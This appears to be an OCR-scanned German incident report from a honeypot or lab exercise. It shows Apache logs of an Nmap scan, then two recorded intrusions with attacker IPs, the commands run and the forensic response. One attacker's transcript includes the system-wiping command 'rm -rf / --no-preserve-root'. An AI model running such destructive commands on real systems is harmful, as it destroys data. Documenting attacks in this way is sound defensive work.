Mar 11, 2022 @ 11:22:14 | /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "GET /HNAP1 HTTP/1.1" 404
access.log 461 "-" "Mozilla/5.0 (compatible; Nmap
Scripting Engine;
https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "VKUU / HTTP/1.1" 501 496 "-"
access.log "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/bock/nse.html)"
Mar 11,2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "PROPFIND / HTTP/1.1" 405 533
access.log "." "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 /[var/log/apache2/ | 92.60.40.249 - "PROPFIND / HTTP/1.1" 405 533
access.log "." "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - - [11/Mar/2022:10:22:14
access.log +0000] "PROPFIND / HTTP/1.1" 405 533 "-"
"Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "POST / HTTP/1.1" 200 11783 "-
access.log " "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11,2022 @ 11:22:14 | /var/log/apache?/ | 92.60.40.249 - "GET /.git/HEAD HTTP/1.1" 404
access.log 465 "-" "Mozilla/5.0 (compatible; Nmap
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Scripting Engine;
https://nmap.org/book/nse.html)"

Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11,2022 @ 11:22:14 | /var/log/apache2/ | 92.60.40.249 - "GET
access.log /nmaplowercheck1646994134 HTTP/1.1" 404
480 "-" "Mozilla/5.0 (compatible; Nmap
Scripting Engine;
https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 /var/log/apache2/ | 92.60.40.249 -"OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 | /var/log/apache2/ | 92.60.40.249 -"POST /sdk HTTP/1.1" 404 459 "-
access.log " "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 [var/log/apache2/ | 92.60.40.249 - "GET / HTTP/1.1" 200 11783 "-"
access.log "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 | /var/log/apache2/ | 92.60.40.249 - "GET /robots.txt HTTP/1.1" 404
access.log 466 "-" "Mozilla/5.0 (compatible; Nmap
Scripting Engine;
https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:15 | /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:15 | /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11,2022 @ 11:22:15 | /var/log/apache2/ | 92.60.40.249 - "GET /favicon.ico HTTP/1.1"
access.log 404 467 "-" "Mozilla/5.0 (compatible; Nmap
Scripting Engine;
https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:15 /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/bock/nse.html)"
Mar 11, 2022 @ 11:22:15 [var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "' "Mozilla/5.0 (compatible; Nmap Scripting

Engine; https://nmap.org/bock/nse.html)"
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Angriff 1 — Lewis Loéscher
Zeitraum des Angriffs: 11.03.2022 - 10:18:00 -> 10:20:00

Angreifer: 45.9.249.35 - Vereinigte Arabische Emirate

Ausgefiihrte Commands:

10;root@53a226292fdd: ~root@53a226292fdd:~# hostname

53a226292fdd

10;root@53a226292fdd: ~root@53a226292fdd:~# sur rm-rf /

rm: it is dangerous to operate recursively on '/*

rm: use --no-preserve-root to override this failsafe

10;root@53a226292fdd: ~root@53a226292fdd:~# rm -rf / --no-preser rveproot  -root
rm: cannot remove '/sys/kernel/notes': Read-only file system

+14.000 weitere Files, die nicht geléscht werden konnten

Auswirkung:

Erst einfache Analyse des Systems, danach l6schen des gesamten Systems.

Aktion des Forensik-Teams:

-- Container wurde beendet und abgeschottet neugestartet --

Forensik:
Bei Start des Containers wurde ein ubuntu-Betriebssystem installiert.
root@318a6c327aab6:/# uname -a

Linux 318a6¢327aab 5.11.0-1028-azure #31~20.04.2-Ubuntu SMP Tue Jan 18 08:46:15 UTC 2022
x86_64 x86_64 x86_64 GNU/Linux

Zudem wurde Wireguard installiert.
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Angriff 2: Paul Prozess-Killer

Zeitraum des Angriffs: 11.03.2022 - 12:33:00 -> 12:37:00
Angreifer: 92.60.40.249 - Niederlande - Amsterdam

Ausgefiihrte Commands:
root@AIT-Prod:~# root@AIT-Prod:~# TERM environment variable not set.
root@AIT-Prod:~# /bin/bash
root@AIT-Prod:~# /bin/sh
root@AIT-Prod.~# #
root@AIT-Prod:~# #
root@AIT-Prod:~# sh: 0: Can't open sh
10;root@AIT-Prod: ~root@AIT-Prod:~# ~C
110;root@AIT-Prod: ~root@AIT-Prod:~# sh
# exec sh
# killall nbas ps

PID TTY TIME CMD

1269 pts/24 00:00:00 bash
1279 pts/24 00:00:00 sh

1280 pts/24 00:00:00 ps
sh: 2: killall: not found
#ps killall bash
sh: 3: kill: lllegal number: bash
#koil ol;l ill bash
#kill 1269

PIDTTY TIME CMD

1269 pts/24 00:00:00 bash

1279 pts/24 00:00:00 sh

1281 pts/24 00:00:00 ps
#A[[AN[AN[A h ps
Try "pkill --help' for more information.
pkill: no matching criteria specified

#kill kil pkill
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